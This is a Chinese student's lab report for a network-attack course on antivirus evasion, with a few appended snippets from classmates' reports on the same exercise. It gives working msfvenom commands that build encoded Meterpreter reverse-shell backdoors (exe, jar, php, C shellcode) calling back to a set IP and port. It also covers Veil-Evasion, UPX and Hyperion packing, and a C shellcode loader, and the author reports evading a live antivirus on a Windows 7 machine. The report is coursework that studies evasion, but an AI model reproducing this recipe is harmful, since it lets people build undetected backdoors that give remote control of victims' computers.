2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践

1 实践说明

1.1实践内容

  • (1)正确使用msf编码器
  • (2)veil
  • (3)加壳工具
  • (4)使用C + shellcode编程
  • (5)使用其他课堂未介绍方法

-(6)通过组合应用各种技术实现恶意代码免杀并用另一电脑实测,在杀软开启的情况下,可运行并回连成功

1.2基础知识

1.2.1免杀

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验

1.2.2恶意软件检测机制

  • 基于特征码的检测

    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库
  • 启发式恶意软件检测
    • 启发式Heuristic,简单来说,就是根据些片面特征去推断;通常是因为缺乏精确判定依据
    • 优点:可以检测0-day恶意软件;具有一定通用性
    • 缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
  • 基于行为的恶意软件检测
    • 最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描
    • 所以后来又提出了基于行为的;从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式

1.2.3免杀技术(Evading AV)综述

  • 改变特征码

    • 如果你手里只有EXE

      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社工类攻击,诱骗目标关闭AV软件
    • 纯手工打造一个恶意软件
  • 留后门的思路是这样的:
    • 你写一个有漏洞的软件,开一个服务端口,这个软件本身没问题,然后如果这个端口被攻击,就可以获得系统控制权

      • 通过meterpreter这种驻留内存的payload,AV软件很难检出
      • 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的
    • 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了
      • 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错

2 正确使用msf编码器

2.1 生成exe文件

  • 编码一次命令如下(用-e参数编码):

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor_5334.exe

  • 编码十次命令如下(用-i参数指定编码次数):

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor_5334_2.exe

  • 检测

  • msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀

2.2 生成jar等其它文件

  • 生成jar文件命令如下:

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.186.133 lport=5334 x> backdoor_5334_java.jar

  • 生成php文件命令如下:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.186.133 lport=5334 x> backdoor_5334.php

  • 检测

2.3 veil

  • 输入sudo apt-get install veil进行安装;之后用输入veil打开,输入y继续安装直至完成,这期间可能要等待较长时间
  • 进入Veil后,输入use evasion进入Veil-Evasion
  • 输入use c/meterpreter/rev_tcp.py进入配置界面
  • 设置反弹连接IP,输入set LHOST 192.168.186.133
  • 设置端口,输入set LPORT 5334

  • 最后输入generate生成后门程序文件后并命名

  • 检测

2.4 加壳工具

  • 输入以下命令为文件加压缩壳:

upx backdoor5334_3.exe -o backdoor5334_3.upxed.exe

  • 检测

  • 将加了压缩壳的文件放入hyperion目录中,输入以下命令为其加加密壳:

wine hyperion.exe -v backdoor5334_upxed.exe backdoor5334_upxed_Hyperion.exe

  • 检测

  • 压缩壳似乎作用不大,加密壳有一定的作用

2.5 使用C + shellcode编程

  • 使用如下命令生成一段c语言格式的shellcode

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.186.133 LPORT=5334 -f c

  • 新建一个c文件,内容如下:
java
unsigned char buf[] =
"shellcode数组内容"

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 输入i686-w64-mingw32-g++ shell5334.c -o shell5334.exe命令,生成可执行文件
  • 检测

2.6 使用其他课堂未介绍方法

  • 进入Veil后,输入use evasion进入Veil-Evasion
  • 输入list查看可用的payloads

  • 输入use 30选择后,输入generate生成文件,生成的文件类型选择2,生成一个exe文件,之后进行配置

  • 生成的setup.pyrunme.bat两个文件保存在/var/lib/veil/output/source/
  • 检测

3 通过组合应用各种技术实现恶意代码免杀

  • 在2.6中可以看到veil生成的后门文件,使用Python语言可以很好的实现免杀功能,于是这里使用了28号payload并为其加上了加密壳
  • 成功实现与杀软共存

4 用另一电脑实测,在杀软开启的情况下,可运行并回连成功

  • 使用windows7操作系统,实现与杀软共存并成功回连

5 实验收获与感想

  • 本次实验操作性较强,但过程并不复杂;通过本次实验学会了Veil的操作并巩固了msfvenom的操作;除此之外,我还意识到开启杀软并不能完全保护电脑安全;所以更要努力学习,一方面是提高自己的网络安全意识,另一方面是提高自己的技能去思考如何抵御恶意攻击

6 回答问题

  • (1)杀软是如何检测出恶意代码的?

    • 基于特征码的检测;基于行为的恶意软件检测;启发式恶意软件检测
  • (2)免杀是做什么?
    • 一种能使病毒木马免于被杀毒软件查杀的技术
  • (3)免杀的基本方法有哪些?
    • 改变特征码(加壳、encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译)
    • 改变行为(尽量使用反弹式连接、使用隧道技术、加密通讯数据;基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码)
    • 非常规方法(使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件)
  • (4)开启杀软能绝对防止电脑中恶意代码吗?
    • 通过本次实验发现并不能,杀毒软件也会有缺陷,仍然会使电脑中恶意代码

原文地址:https://www.cnblogs.com/lxr1006/p/12591498.html

时间: 2024-11-07 01:55:57

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践的相关文章

2019-2020-2 20175208 张家华 网络对抗技术 Exp3 免杀原理与实践

实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具.使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 实验过程 实验准备即相关知识 VirusTotal.Virscan 集

2018~2019-4 20165107 网络对抗技术 Exp3 免杀原理与实践

20165107 Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:我们发现某类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,这段或多段数据即特征码.如

20145309《网络对抗技术》免杀原理与实践

20145309<网络对抗技术>免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据特征来检测:对已存在的流行代码特征的提取与比对根据行为来检测:是否有更改注册表行为.是否有设置自启动.是否有修改权限等等 (2)免杀是做什么? 使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀. (3)免杀的基本方法有哪些? 加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加:加花指令:就是加一段垃圾代码,但是并不影响程序的正

20154307《网络对抗》Exp3 免杀原理与实践

20154307<网络对抗>Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件. 启发式恶意软件检测 基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等.. (2)免杀是做什么? 让攻击程序不被杀软查杀 (3)免杀的基本方法有哪些? 加壳 改变特征码 二.实践内容 1.使用msf生成后门程序的检测 由于上一个实验我们已经用msf生成了一

20155218《网络对抗》Exp3 免杀原理与实践

20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时对它多编码1次并进行测试 发现能发现的杀软变少: (3)使用msf时对它多编码10次并进行测试 编码10次后,发现可以查杀的杀软数量仅仅减少了一个: 二.使用veil-evasion生成后门程序的检测 通过list查看功能,选用22命令 生成文件: 测试结果: 显而易见,效果并不理想: 三.利用shellco

20155232《网络对抗》Exp3 免杀原理与实践

20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 启发式恶意软件检测 根据些片面特征去推断. 通用性,不精确. 基于行为的恶意软件检测 修改文件硬盘.连接恶意网站.修改注册表 (2)免杀是做什么? 通过一些手段来瞒过杀软的检测扫描.避免被杀毒软件查杀. (3)免杀的基本方法有哪些? 改变特征

20155302《网络对抗》Exp3 免杀原理与实践

20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(1.5分) 2.通过组合应用各种技术实现恶意代码免杀(1分) (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分) 实验内容 报告评分 1.5分报告整体观感 0.5分

20155338《网络对抗》Exp3 免杀原理与实践

20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒. 二.使用msf编码器 编码一次,在Kali输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=kali的IP LPORT=533

20155330 《网络攻防》 Exp3 免杀原理与实践

20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码. 基于行为.杀软通过检测程序是否有更改注册表行为.是否有设置自启动.是否有修改权限等等行为进行判断. 免杀是做什么? 恶意代码避免杀毒软件查杀,从而实现入侵. 免杀的基本方法有哪些? 对恶意代码进行加壳 利用shellcode进行编码 实践过程记录 使用msf生成后门程序的检测 将实验二中